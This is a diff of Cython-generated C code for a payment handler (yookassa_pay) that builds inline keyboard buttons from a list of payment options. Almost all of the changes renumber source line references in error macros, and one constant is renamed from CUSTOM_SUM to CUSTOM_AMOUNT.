#if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 80, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 72, __pyx_L1_error) #endif if (__pyx_t_6 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_3 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_4, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 72, __pyx_L1_error) #else - __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } else { { Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_4); #if !CYTHON_ASSUME_SAFE_MACROS - if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 80, __pyx_L1_error) + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 72, __pyx_L1_error) #endif if (__pyx_t_6 >= __pyx_temp) break; } #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS - __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_4, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 72, __pyx_L1_error) #else - __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_4, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); #endif } @@ -4614,7 +4609,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject* exc_type = PyErr_Occurred(); if (exc_type) { if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); - else __PYX_ERR(0, 80, __pyx_L1_error) + else __PYX_ERR(0, 72, __pyx_L1_error) } break; } @@ -4625,102 +4620,102 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_8 = PyObject_Length(__pyx_t_1); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_1 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_1, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_1, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 73, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__pyx_t_2) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 83, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 88, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 88, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 88, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 87, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -4744,7 +4739,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 82, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -4754,43 +4749,43 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co } /*else*/ { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 95, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 95, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 95, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 95, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -4813,7 +4808,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -4824,18 +4819,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_CUSTOM_SUM); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_CUSTOM_AMOUNT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yookassa) < 0) __PYX_ERR(0, 100, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 100, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yookassa) < 0) __PYX_ERR(0, 92, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -4858,24 +4853,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); 